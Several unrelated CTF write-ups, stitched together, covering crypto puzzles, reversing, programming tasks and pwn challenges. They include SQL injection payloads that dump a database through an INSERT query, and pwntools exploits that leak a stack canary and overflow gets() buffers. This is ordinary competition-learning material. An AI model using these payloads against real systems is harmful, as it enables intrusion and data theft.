actf{dream_of_califrobnication_1f6d458091cad254}trying 1584522018 2103: actf{dream_of_califrobnication_1f6d458091cad254}trying 1584522019 2102: actf{dream_of_califrobnication_1f6d458091cad254}trying 1584522024 2109: actf{dream_of_califrobnication_1f6d458091cad254}trying 1584522025 2108: actf{dream_of_califrobnication_1f6d458091cad254}trying 1584522026 2111: actf{dream_of_califrobnication_1f6d458091cad254}trying 1584522027 2110: actf{dream_of_califrobnication_1f6d458091cad254}trying 1584522028 2105: actf{dream_of_califrobnication_1f6d458091cad254}trying 1584522029 2104: actf{dream_of_califrobnication_1f6d458091cad254}trying 1584522030 2107: actf{dream_of_califrobnication_1f6d458091cad254}trying 1584522031 2106: actf{dream_of_califrobnication_1f6d458091cad254}```
# b01lers CTF – Crypto Crossword * **Category:** Crypto* **Points:** 200 ## Challenge >Can you use the clues to decode the flag? ``` 1 2 3 4 5 +---+---+---+---+---+ } | | | | | | | |---+---+---+---+---| | 6 | | | | | | | |---+---+---+---+---| \ 7 | | | | | | -> WKYQMRKNQLMESZLBSTIKSIPTSLELQLEFEHZZQPNBEZKNOTKJVDHWWRVAULIHXUTYUIHCJMEIXTHDVWCANBMHS |---+---+---+---+---| / 8 | | | | | | | |---+---+---+---+---| | 9 | | | | | | | +---+---+---+---+---+ } ```> > 1: ;fH;aCh7-"@UWb^G@>N&F#kFRDf'?"DIal3D]iJ!C3=T>+EqL-F<G%(Ci=3(F!,RC+EqL;D'3b7+B;0.==s>> 2: GUR FZNYYRFG EFN RKCBARAG RIRE VA JVQRFCERNQ HFR.>> 3: 4261636b77617264733a2074776f20666f722062696e6172792c2074656e20666f7220646563696d616c2c20616e64> 207369787465656e20666f72206865782e20>> 4: KLHHRYOB GSV URIHG QZEZHXIRKG UFMXGRLM BLF VEVI XZOOVW.>> 5: Ecceilnort cdemnostu ahtt eoprv ehinoprsw fo ,eksy cddeeru ot efiv .eelrstt>> 6: FRPPRQ UHVHUYHG ZRUG LQ F++ DQG SBWKRQ.>> 7: TW9kZXJuIGNyeXB0byBlc3BlY2lhbGx5IGxpa2VzIGdyb3VwcyBvZiBwcmltZSBfX19fXy4=>> 8: ooOo00oo0oOo0ooo0O0000oooo0oO0oOoo0ooOo0000OOO0ooOo0000oO0000ooOo0oO0OO0OOO0ooO0ooo0000OOO0oOO> o0o0Oo0ooo0ooo0oOoo0000oooO0ooO0oOoo0Oo0o0oOo0oO0Oooo00oo0oOoo00oo0O0OoOO0oOoOoO0>> 9: 7x4 2x1 6x1 3x2 # 2x1 7x4 # 2x1 6x2 7x4 9x1 3x2 7x3 # 6x2 8x2 6x1 2x2 3x2 7x3 # 3x3 4x3 8x3 3x2 > 1x1> Later during the CTF, a hint was published before I started the challenge:https://upload.wikimedia.org/wikipedia/en/2/27/Bliss_(Windows_XP).png ## SolutionOkay, so looking at the challenge, I understand that I have to fill in the crossword and use the 5x5 matrix to decrypt the flag. Looking at the hint gave the cipher used for encrypting the flag: a hill cipher. Let's start by decrypting those 9 crossword sentences!### 1. ;fH;aCh7-"@UWb^G@>N&F#kFRDf'?"DIal3D]iJ!C3=T>+EqL-F<G%(Ci=3(F!,RC+EqL;D'3b7+B;0.==sIf your not familiar with seeing this kind of gibberish, you should always try Ascii85! Indeed, decoding this gives us:*Spelled backwards: command to adjust what belongs to whom on UNIX.* A quick google search reveals us that this command is chown, spelled backward **nwohc**. ---### 2. GUR FZNYYRFG EFN RKCBARAG RIRE VA JVQRFCERNQ HFR.The sentence has the same format as a regular sentence so I tried applying ROT13: *THE SMALLEST RSA EXPONENT EVER IN WIDESPREAD USE.* The smallest RSA exponent is 3 or **three**. ---### 3. 4261636b77617264733a2074776f20666f722062696e6172792c2074656e20666f7220646563696d616c2c20616e64207369787465656e20666f72206865782e20This one should be quite straightforward. Decoding it from hex gives us: *Backwards: two for binary, ten for decimal, and sixteen for hex.* The answer here is "base", but base only has 4 letters. Luckely there is another word for base: radix, spelled backwards **xidar**. ---### 4 KLHHRYOB GSV URIHG QZEZHXIRKG UFMXGRLM BLF VEVI XZOOVW.As for the second one, this looks like a regular sentence. Trying ROT yields no results.My second guess was a substitution cipher encoding. An [online substitution cipher solver](https://www.guballa.de/substitution-solver) configured with English as output language gives this: POSSIBLY THE FIRST DAMASCRIPT FUNCTION YOU EMER CALLEG. We see that due to the potential presence of the word Javascript, it didn't manage to correctly substitute every letter. Giving the algorithm a little help and here is the complete sentence: *POSSIBLY THE FIRST JAVASCRIPT FUNCTION YOU EVER CALLED.* A 5 letter Javascript function that is one of the first you ever called... Doesn't ring a bell? **alert**, of course! ---### 5. Ecceilnort cdemnostu ahtt eoprv ehinoprsw fo ,eksy cddeeru ot efiv .eelrsttAgain, what looks like a good sentence format. Looking at the last two words, my mind flipped the letters almost automatically in place and read "five letters".All the words are thus scrambled. As for a lot of these small encodings, there are [online solvers](https://www.dcode.fr/shuffled-letters) for this.Decoding gives: *Electronic documents that prove ownership of keys, reduced to five letters.* Certificates!Now reducing it to five letters confused me and first I used **certi**. Later, this gave me a almost correct flag and I realised that the correct answer here was in fact **certs**! ---### 6. FRPPRQ UHVHUYHG ZRUG LQ F++ DQG SBWKRQThis one looked a lot like number 4 so I tried the basic substitution cipher of [Cyberchef](https://gchq.github.io/CyberChef/) and it was correct: *COMMON RESERVED WORD IN C++ AND PYTHON* Looking up a list of common reserved words in c++ and python gave some results but since our first letter (given by column 1) is "w": the reserved word turns out to be **while**. ---### 7. TW9kZXJuIGNyeXB0byBlc3BlY2lhbGx5IGxpa2VzIGdyb3VwcyBvZiBwcmltZSBfX19fXy4=If it has an = symbol at the end, always try Base64 decoding first! *Modern crypto especially likes groups of prime _____.* Doing a reverse google search of this sentence gave the word **order**. ---# Important note: I had all the letters needed in my matrix so I didn't bother solving the last two points. I solved them after submitting the flag. ### 8. ooOo00oo0oOo0ooo0O0000oooo0oO0oOoo0ooOo0000OOO0ooOo0000oO0000ooOo0oO0OO0OOO0ooO0ooo0000OOO0oOOo0o0Oo0ooo0ooo0oOoo0000oooO0ooO0oOoo0Oo0o0oOo0oO0Oooo00oo0oOoo00oo0O0OoOO0oOoOoO0An encoding with 3 different symbols: lowercase o, uppercase O and number 0. Could it be morse ? Mapping the lowercase to a dot, the uppercase to a dash and the number to a space gives this morse signal: .._. .. ._. ... _ .... ._ ._.. .._. ___ .._. ._ .._. ._ __ ___ .._ ... ___ .__. . _. ... ... ._.. ..._ .._ ._.. _. . ._. ._ _... .. ._.. .. _ _.__ ._._._ Decoding this gives: *FIRST HALF OF A FAMOUS OPENSSL VULNERABILITY.* One of the most famous openssl vulnerability: Heartbleed. The first half of this word: **heart** ---### 9. 7x4 2x1 6x1 3x2 # 2x1 7x4 # 2x1 6x2 7x4 9x1 3x2 7x3 # 6x2 8x2 6x1 2x2 3x2 7x3 # 3x3 4x3 8x3 3x2 1x1At first, I didn't see what this could be. I thought of phone keypad cipher but the 7x4 confused me. Afterwards, I just inversed the two operands and it was a damn phone keypad cipher! Decoded: *SAME # AS # ANSWER # NUMBER # FIVE* Okay, so we fill in the same answer as number five. ---## Solving the challengeOur filled in crossword now looks like this: ``` 1 2 3 4 5 +---+---+---+---+---+ | n | t | x | a | c | |---+---+---+---+---| 6 | w | h | i | l | e | |---+---+---+---+---| 7 | o | r | d | e | r | |---+---+---+---+---| 8 | h | e | a | r | t | |---+---+---+---+---| 9 | c | e | r | t | s | +---+---+---+---+---+ ``` The hill cipher uses numbers in the matrix so I mapped each letter to its position in the alphabet minus 1 (n=14 => 13).Using this [python program](solve.py) prints out what was supposed to be the flag: **MESSAGEXISXNOXBLACKXSQUARESXAMIGOXSEPARATEDXBYXSPACEXANDXENCLOSEDXINXTHEXUSUALXFORMAT** If we split this on the X's we get: **MESSAGE IS NO BLACK SQUARES AMIGO SEPARATED BY SPACE AND ENCLOSED IN THE USUAL FORMAT** ```pctf{NO BLACK SQUARES AMIGO}```
#Overview Warmup ROX (PPC) The name of the challenge was a huge hint to me "ROX - XOR", that's what it came to my mind straight upso as always that's what I was about to try first! :). By connecting to the service using netcat it tells us that a lenngt(?) is 26, and it asks us for some input,by sending some data it returns us gibberish, so my guess is that it's an XOR encryption the key's length is 26 bytes and the return valueis the encrypted data of our user input. ```shad3@zeroday:~/Desktop/CTF/fireshell/ppc$ nc 142.93.113.55 31087 +++ Fireshell CTF - ROX +++ [+] Length is 26. Type 'start' to start: start [+] 1 / 100 Input: aaaaaaaaaaaaaaaaaaaaaaaaaaa Output: 'B???P?L9Q??L3.?LUL``` That tells us gives us 2 basic info: 1) The key is **not bruteforceable** 2) I control the **plaintext** and I have **access to the ciphertext** Based on my assumption I moved on, So how do we steal the key then? Lets consider an example where we have a key length of one (key = 'A') and plaintext = '0x00' Then the based on the XOR truth table : We'll have the following "ciphertext"```PLAINTEXT : 00000000KEY : 01000001=======================CIPHERTEXT : 01000001``` **Hopefully you get the idea now :).** ##PwnSo lets write a simple script to get our flag and check if our assumption is correct: ```from pwn import * conn = remote('142.93.113.55',31087)conn.recvuntil('start:')conn.send('start') for i in range(100): conn.recvuntil('Input: ') conn.send('\x00' * 26) a = conn.recvline() print(a) ``` ```shad3@zeroday:~/Desktop/CTF/fireshell/ppc$ python xor.py [+] Opening connection to 142.93.113.55 on port 31087: Done [+] Output: F#{us1ng-X0r-is-ROx-4-l0t} [+] Output: F#{us1ng-X0r-is-ROx-4-l0t} [+] Output: F#{us1ng-X0r-is-ROx-4-l0t} ```
# **Empire Total (1000pts) (7 Solves)** ![TASK](https://imgur.com/rGcoI7o.png) This task was really so creative and i had so fun solving it , but i can't deny that it was painful :( after reading the description we can say that we aim to dump the database of the website (maybe SQL injection who knows) and fortunately we have the source code so let's download it and begin our trip xD After Visiting the website we find a tool based on Virus Total API , understanding the functionality of the website is really necessary for solving the task, we will cover it in details later, but as a first thought we give an ip address to the website and it will shows Virus Total stats about it ![TASK](https://imgur.com/k7ScCjX.png) ![TASK](https://imgur.com/bjRXPJT.png) After cloning the project here is its structure> git clone https://github.com/mohamedaymenkarmous/virustotal-api-html ![TASK](https://imgur.com/alxzV41.png) let's take a look at index.php , since the code is really too long i will only put the important parts, as we can see after some configurations and Recaptcha setting, all the SQL queries are prepared statements so there is no way to perform SQL injection but we can notice the execution of the **shell_exec** function :D Interesting hmmm ![TASK](https://imgur.com/A1kiMAa.png) **shell_exec** is executing some python script with a scanned ip argument ,maybe manipulating it will give us something useful ```php$command = "../VirusTotal.py '$scanned_ip'";$output = shell_exec($command);```But unfortunately there's too much restriction on our input :( it's impossible to bypass the filter_var here and the JS restrictions (if you can bpass it just tell me xD ) ```php if(isset($_POST) && !empty($_POST)){ $scanned_ip=isset($_POST['ip']) && !empty($_POST['ip']) && !is_array($_POST['ip']) ? $_POST['ip'] : ""; if(!$scanned_ip){header("Location: /?invalid_ip");exit();} if (filter_var($scanned_ip, FILTER_VALIDATE_IP)) { } else {header("Location: /?invalid_ip");exit();}```Let's proceed , it seems that the index.php is pretty safe ,let's take a look at the VirusTotal.py script ![TASK](https://imgur.com/ytcYYQQ.png) OMG :'( 499 lines , that was so discouraging @Emperors :( but we needed that flag to have the 10th place xD anyway after scrolling around and reading the code , we can somehow understand the behaviour of the website,when we enter the ip address it asks the Virus Total API for the results and then there's the persistence functionality that saves the results in the database and then when we enter the same ip address again it will loadsthe results from the database . So if we can control the results maybe we will have the opportunity to perform an SQL injection ? I got stuck in this part for a long time and after the help of the admin ( Thank you @Emperors <3 ) i found something interesting :D before we proceed here's a vulnerable function to SQL injection that saves the results of urls section in the database (line 417 in VirusTotal.py) ```python def persistURLs(self,selected_ips,ip_report_filtered): attr="detected_urls" table_name="vt_scanned_urls_table" newAttr=self.AttrSubstitution[attr] if attr in self.AttrSubstitution else attr selected_urls=self.findPersistedIP(selected_ips[0]['id'],table_name) selected_urls_filtered=[] for selected_url in selected_urls: selected_urls_filtered.append(selected_url['url']) if newAttr in ip_report_filtered: for url in ip_report_filtered[newAttr]: print(url['URL']) if url['URL'] not in selected_urls_filtered: try: self.CursorRW.execute("INSERT INTO "+table_name+" (ip_id,url,detections,scanned_time) VALUES ('"+str(selected_ips[0]['id'])+"','"+url['URL']+"','"+url['Detections']+"','"+url['Scanned']+"')") self.DBRW.commit() self.resetSQL() except Exception as e: print("INSERT INTO "+table_name+" (ip_id,url,detections,scanned_time) VALUES ('"+str(selected_ips[0]['id'])+"','"+url['URL']+"','"+url['Detections']+"','"+url['Scanned']+"')") print("EXCEPTION: ",e) self.resetSQL()```## Exploitation ## So the idea is that if we go to VirusTotal website (https://www.virustotal.com/) and scan a url ,and then go back to our challenge website and scan the url's ipwe will find that the url we scanned in VirusTotal website will appear , it's pretty confusing i know so let's have an example 1. We go to Virus Total website and scan for any url for example :( in my case i launched a web server on my VPS and used it here ) > http://100.26.206.184/?u=Just testing for the writeup :p ![TASK](https://imgur.com/mGOQ1tQ.png) 2. Now we go back to the challenge website and scan the ip address ![TASK](https://i.imgur.com/N7ymSRT.jpg) Yeeees ! it's appearing in the results so we now have the control over these values in the urls section of the results. Now here is our scenario , if we look to the vulnerable function **persistURLs** in VirusTotal.py we can notice the injection in this query (line 430) > INSERT INTO "+table_name+" (ip_id,url,detections,scanned_time) VALUES ('"+str(selected_ips[0]['id'])+"','"+url['URL']+"','"+url['Detections']+"','"+url['Scanned']+"') We have control over the **url['URL']** parameter (the url we scan in VirusTotal Website) so it's now an SQL injection in INSERT INTO values, but we have some constraints : 1. The url encoding **%20** that will be interpreted with the SQL query so we have to find another way in our payload instead of white spaces which is a well known bypass: **/\*\*/**2. The second thing faced me when i was solving the challenge , we can't use **-- -** to equilibrate the SQL query so we will have to find a solution to equilibrate it In order to test the injection locally i have created this small script that connects to my local DB and executes the same query, you can find it **[HERE](https://github.com/kahla-sec/CTF-Writeups/blob/master/Securinets%20Prequals%202k20/Empire%20Total/test.py)** Finally I opted to this solution, here is the URL we will scan :> http://100.26.206.184/?u=',(select/**/1),(select/**/2)),('102','a The complete SQL query that will be executed is :> INSERT INTO detected_urls (ip_id,url,detections,scanned_time) VALUES ('2','100.26.206.184/?u=',(select 1),(select 2)),('102','a','15','yes') Let's try it now , we first scan it in VirusTotal : ![TASK](https://imgur.com/3L7lmrs.png) And now let's scan the IP in the challenge website : ![TASK](https://imgur.com/f2CRd7H.png) It's fetched successfully, let's scan the ip another time now to check if our injection succeeded or not, we must see 1,2 in the output : ![TASK](https://i.imgur.com/U3SEcaV.jpg) Bingo ! our injection worked , we only have to dump the entire Database now and repeat the same procedure: 1. Dump DB names : > http://100.26.206.184/?u=',(select/**/gRoUp_cOncaT(0x7c,schema_name,0x7c)/**/fRoM/**/information_schema.schemata),(select/**/2)),('102','a ![TASK](https://imgur.com/AJvdMXB.png) DBName : MySecretDatabase 2. Dump Tables and Columns : > http://100.26.206.184/?u=',(select/**/gRoUp_cOncaT(0x7c,table_name,0x7c)/**/fRoM/**/information_schema.tables),(select/**/2)),('102','a > http://100.26.206.184/?u=',(select/**/gRoUp_cOncaT(0x7c,column_name,0x7c)/**/fRoM/**/information_schema.columns),(select/**/2)),('103','a ![TASK](https://imgur.com/raYuUmI.png) **Table Name** : SecretTable & **Column Name** : secret_value 3. And finally let's have our beloved flag : > http://100.26.206.184/?u=',(select/**/group_concat(0x7c,secret_value,0x7c)/**/fRoM/**/MySecretDatabase.SecretTable),(select/**/2)),('109','a ![TASK](https://imgur.com/FanWbUZ.png) Yees We did it , **FLAG** : Securinets{EmpireTotal_Pwn3D_fr0m_Th3_0th3r_S1de} I have really liked the idea of the challenge, it's really creative , i want to thank Securinets technical team for these fun tasks and awesome CTF and of course the author @TheEmperors. I hope you liked the writeup if you have any questions don't hesitate to contact me **Twitter** : @BelkahlaAhmed1 , finally i can sleep in peace after these 24 hours xd
# Toast clicker 1 (79p, 23 solved) In `MainActivity.java` we can see: ```javaint[] input = {67, 83, 68, 120, 62, 109, 95, 90, 92, 112, 85, 73, 99, 82, 53, 99, 101, 92, 80, 89, 81, 104}; // public String printfirstFlag() { String output = BuildConfig.FLAVOR; int i = 0; while (true) { int[] iArr = this.input; if (i >= iArr.length) { return output; } int t = iArr[i] + i; StringBuilder sb = new StringBuilder(); sb.append(output); sb.append(Character.toString((char) t)); output = sb.toString(); i++; }}``` We only need to run this code, or it's python equivalent: ```python"".join([chr(x+i) for i,x in enumerate([67, 83, 68, 120, 62, 109, 95, 90, 92, 112, 85, 73, 99, 82, 53, 99, 101, 92, 80, 89, 81, 104])])```And we get `CTF{Bready_To_Crumble}`
# Problem Statement``` +++ Fireshell CTF - DUNGEON ESCAPE +++ [+] After being caught committing crimes, you were locked up in a really strange dungeon. You found out that the jailer is corrupt and after negotiating with him, he showed to you a map with all the paths and the necessary time to cross each one, and explained to you how the dungeon works. In some parts of the dungeon, there are some doors that only open periodically. The map looks something like this: 4 +-+ 1 +----------------------+3+-------------+ +-+ +-+ | |C| 2 +++ 4 +++ +-----------------+7+--------------------+ | 3 +-+ +-+ | +------------------+4| 12 +++ +-+--------------------------------------+E| +-+ [+] All doors start at time zero together and if a door has time equals to 3, this door will open only at times 0, 3, 6, 9, ... So if you reach a door before it is open, you will need to wait until the door is open. [+] So, with a map you organized the infos like the following: first it will be the number of doors and the number of paths. Second it will be a list with the time of all doors. After that each line will contains a path with the time needed to walk this path. For the last it will be the position of your cell (C) and the postion where it is the exit (E). [+] The jailer said that if you find out the minimum time from your cell to the exit, he will set you free. In the example, the minimum time is 11. ``` # SolutionTo solve this problem we model each door being a vertex and each path being an edge on a graph. Now our problem is to find the shortest path between `C` and `E` and this is a classical problem with an already existing algorithm (we call it Dijkstra's algorithm for shortest paths in my country). The implementation can be found on my [ICPC notebook](https://github.com/chinchila/ICPC/blob/master/code/graphs/dijkstra.cpp). But our problem is a bit harder, instead relaxing the vertex just like on dijkstra, we have to relax it a little bit different, calling the time `cost[i]` of each door i, when dijkstra is processing the edge uv, we have to treat the edge weight `w[uv]` as the first multiple of `cost[i]` greater than or equal `w[uv]`. ## implementation```#include <bits/stdc++.h>using namespace std; #define ll long long#define INF 0x3f3f3f3f3f3f3f3f int n, m, c, e;vector<pair<int, ll> > g[1000010];int cost[1000010]; vector<ll> dk( int start ) { vector<ll> dist( n + 5, INF ); priority_queue<pair<ll, int> > q; q.push( { dist[start] = 0, start } ); while( !q.empty() ) { int u = q.top().second; ll d = -q.top().first; q.pop(); for( pair<int, ll> pv : g[u] ) { int v = pv.first, w = pv.second; ll k = dist[u] + w; ll nd = cost[v]*((k+cost[v]-1)/cost[v]); if( nd < dist[v] ) q.push( { -( dist[v] = nd ), v } ); } } return dist;} int main(int argc, char* argv[]) { scanf("%d%d", &n, &m); for( int i = 1 ; i <= n ; ++i ) { scanf("%d", cost+i); } for( int i = 0 ; i < m ; ++i ) { int u, v; ll w; scanf("%d%d%lld", &u, &v, &w); g[u].push_back({v, w}); g[v].push_back({u, w}); } scanf("%d%d", &c, &e); auto l = dk( c ); printf("%lld\n", l[e] ); return 0;} ``` Compile it with g++ file.cpp ## Autosend tests script```from pwn import *from subprocess import Popen, PIPE, STDOUT r = remote("142.93.113.55", 31085)r.recvuntil("runaway:")r.sendline("start")r.recvuntil("is:")r.sendline("11")passed = 1for i in range(50): print("Passou: " + str(passed)) k = r.recvuntil("is:") lines = k.split("\n")[3:-2] p = Popen(['./a.out'], stdout=PIPE, stdin=PIPE, stderr=STDOUT) inf = '\n'.join(lines) out = p.communicate(input=inf)[0][:-1] r.sendline(out) passed += 1print(r.recvall())```
# Canary -- pwn -- 70pts/319 solves ### Enumeração de FalhasA challenge nos oferece seu respectivo source code.Inicialmente, nota-se duas falhas de BoF: ``` char name[20]; gets(name); ... char info[50]; gets(info); ``` Função gets não impõe checkagens no limite de quantos bytes são lidos, logo, ela é sujeita a falhas de Buffer Overflow (bof). Porém, além dessa falha, há uma outra falha de Format String:``` printf(strcat(name, "!\n"));``` ### Explorando as falhas encontradas```fex0r:~/C/A/canary➤ checksec ./canary[*] '/home/fex0r/CTF-Writeups/AngstromCTF2020/canary/canary' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)```Ok, stack-cookie/canary protection está ativa, isto seria um problema se não houvessem maneiras de leakar o stack-cookie.Stack-Cookie / Canary é um valor colocado na stack, que de função em função, é checkado a fim de perceber alterações nele. Se houvesse um Buffer Overflow sem precedentes, seu valor original seria sobescrito, de forma a triggar o fim da execução do programa naquele exato instante com a seguinte mensagem; "--stack smashing detected--". Usando a falha de FMT, podemos leakar o valor do stack canary - posicionado na stack -, e re-introduzirmos ele em seu devido offset na stack no momento em que executamos o BoF, de forma que o binário nao perceba mudança no valor original do stack-cookie logo, não interrompendo sua própria execução. ```from pwn import * p = remote("shell.actf.co", 20701)e = ELF("./canary") xpl = ""xpl += "%17$lx" #canary leak p.sendlineafter("your name?", xpl)canary = p.recvline()canary = canary.split(" ")[5].replace("!", "")canary = int(canary, 16)info("Canary ==> %s"%hex(canary)) xpl = ""xpl += "A"*56 #padding até posição do stack-cookie/canaryxpl += p64(canary) #valor do canary -originalmente-xpl += "A"*8xpl += p64(e.sym["flag"])p.sendlineafter("tell me?", xpl) p.interactive()```
Goal The goal of this challenge was to create a script capable of solving a simple graphical captcha. The script was to find the specified icon among a set of five and select it in a form.Strategy A simple yet effective heuristic strategy was to count the number of black pixels within each of the icons. This number could be used to programmatically identify each icon with a sufficient accuracy. You can find script at https://wiki.armiaprezesa.pl/books/fireshell-2020/page/coronacaptcha
# Simple Encryption ![description](img/desc.png) > I found this small program on my computer and an encrypted file. Can you help me decrypt the file? # Analysis We are given two files, the binary (`chall`) and the encrypted flag (`flag.enc`). I opened up the binary in Ghidra but it had a long and complicated encryption function that I didn't want to look at yet, so I decided to do some experimenting with the program. First, let's take a look at `flag.enc`: ```$ xxd flag.enc00000000: 7921 2331 1b3d 1715 273d 172d 2123 19bd y!#1.=..'=.-!#..00000010: ebeb 6dbf 2f21 1f35 bf0d 2115 bf27 2d29 ..m./!.5..!..'-)00000020: 3537 bf17 2f2d 19bf 1925 3d27 27bf 392f 57../-...%=''.9/00000030: 3d27 2735 2331 35a3 ebeb 572f 35bf 3327 =''5#15...W/5.3'00000040: 3d31 bf0d 2115 bf3d 1b35 bf27 2121 292d =1..!..=.5.'!!)-00000050: 2331 bf33 211b bf2d 19bf 73b9 0959 9d25 #1.3!..-..s..Y.%00000060: 1f27 9941 3523 391b 9d1f 179d 9f23 4133 .'.A5#9......#A300000070: 9f15 2337 419f 2341 319d 172f 153b bd05 ..#7A.#A1../.;..00000080: eb``` We see a lot of printable characters, but no obvious patterns. Let's run the program, and do some test encryptions: ```$ ./chall _______ _____ _______ _____ _______|______ | | | | |_____] | |____________| __|__ | | | | |_____ |______ _______ __ _ _______ ______ __ __ _____ _______ _____ ______|______ | \ | | |_____/ \_/ |_____] | | | |_____/|______ | \_| |_____ | \_ | | | |_____| | \_ Use: ./chall <input_file> <output_file> $ echo "aaaaqwerty" > test.in$ ./chall test.in test.out _______ _____ _______ _____ _______|______ | | | | |_____] | |____________| __|__ | | | | |_____ |______ _______ __ _ _______ ______ __ __ _____ _______ _____ ______|______ | \ | | |_____/ \_/ |_____] | | | |_____/|______ | \_| |_____ | \_ | | | |_____| | \_ $ xxd test.out00000000: 3d3d 3d3d 1d11 351b 170d eb ====..5....``` We see that each `a` became `=`, so we know it's a fixed key or operation being used for each byte. With this knowledge, I wrote a script that would encrypt all printable characters and build a map between the character and the encrypted one, and used that to reverse the encryption done to the flag file: ```pyimport stringimport subprocess alphabet = string.printable with open("alpha.in", "w") as f: f.write(alphabet) subprocess.run(["./chall", "alpha.in", "alpha.out"]) key = {} with open("alpha.out", "rb") as f: for i in range(len(alphabet)): key[alphabet[i]] = f.read(1) in_list = list(key.values())out_list = list(key.keys())flag = "" with open("flag.enc", "rb") as f: data = f.read() for d in data: b = bytes([d]) assert(b in in_list) flag += out_list[in_list.index(b)] print(flag)``` When we run the script, we are greeted with the flag: ```$ ./solve.py _______ _____ _______ _____ _______|______ | | | | |_____] | |____________| __|__ | | | | |_____ |______ _______ __ _ _______ ______ __ __ _____ _______ _____ ______|______ | \ | | |_____/ \_/ |_____] | | | |_____/|______ | \_| |_____ | \_ | | | |_____| | \_ Congratulations! I hope you liked this small challenge. The flag you are looking for is F#{S1mpl3_encr1pt10n_f0und_0n_g1thub!} ```
# OverviewWe are given a binary file (chall) as long as an encrypted text (flag.enc),the name of the challenge is pretty clear it is a simple encryptor we have to reverse to get the flagrunning file on the binary tells us that is stripped ### Enumeration ```shad3@zeroday:~/Desktop/CTF/fireshell/rev$ file challchall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=f3c364778bd1d6a73cdf93b1a164039dba7176bf, for GNU/Linux 3.2.0, stripped``` My first thought was to create a string of some size containing only null bytes trying to encrypt it just to seehow the programm will react ```shad3@zeroday:~/Desktop/CTF/fireshell/rev$ python -c "print '\x00' * 64" > testshad3@zeroday:~/Desktop/CTF/fireshell/rev$ xxd test00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................00000040: 0a .shad3@zeroday:~/Desktop/CTF/fireshell/rev$ ./chall test test.out _______ _____ _______ _____ _______|______ | | | | |_____] | |____________| __|__ | | | | |_____ |______ _______ __ _ _______ ______ __ __ _____ _______ _____ ______|______ | \ | | |_____/ \_/ |_____] | | | |_____/|______ | \_| |_____ | \_ | | | |_____| | \_ shad3@zeroday:~/Desktop/CTF/fireshell/rev$ xxd test.out 00000000: ffff ffff ffff ffff ffff ffff ffff ffff ................00000010: ffff ffff ffff ffff ffff ffff ffff ffff ................00000020: ffff ffff ffff ffff ffff ffff ffff ffff ................00000030: ffff ffff ffff ffff ffff ffff ffff ffff ................00000040: eb . ``` That's interesting it's turning them into \xff. **NOTED!** By doing strace (pretty important on stripped binaries) we realise that it calls: ```openat(AT_FDCWD, "test", O_RDONLY) = 3openat(AT_FDCWD, "test.out", O_RDWR|O_CREAT|O_TRUNC, 0666) = 4fstat(3, {st_mode=S_IFREG|0644, st_size=65, ...}) = 0read(3, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 65fstat(4, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0read(3, "", 4096) = 0close(3) = 0write(4, "\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"..., 65) = 65close(4) = 0exit_group(0) = ?```Ok so we know now that it opens the 2 files gets some info from the input file, reads from the input file somethingand then writes the encrypted text to the output. Ok cool! now let's open in it on ghidra to dig into the algorithm. After some renaming variables, changing function signatures etc. the algorithm takes the following form:![](ghidra.png) ###Final Step Lets pwn it, I wrote a quick script to break it and :Since all it does is that it shifts-left the byte that it reads and then does and OR with the multiplied by 2 same variableall we can do is just reverse it with the following script: ```with open('flag.enc','rb') as f: enc_flag = f.read() f.close() flag='' for enc_character in enc_flag: for i in range(0xff): a = i >> 7 final = i * 0x02 | a if (255 - final) == enc_character: flag += chr(i) print(flag)```
[Original writeup](https://telegra.ph/Hill-crypto-UTCTF-2020-03-09-2) https://telegra.ph/Hill-crypto-UTCTF-2020-03-09-2 https://tgraph.io/Hill-crypto-UTCTF-2020-03-09-2
# No-Canary -- pwn -- 50 pts/536 solves ```from pwn import * p = remote("shell.actf.co", 20700)e = ELF("./nocanary") xpl = ""xpl += "A"*40 #overflowxpl += p64(e.sym["flag"]) p.sendlineafter("your name?", xpl)print p.recvall(1)```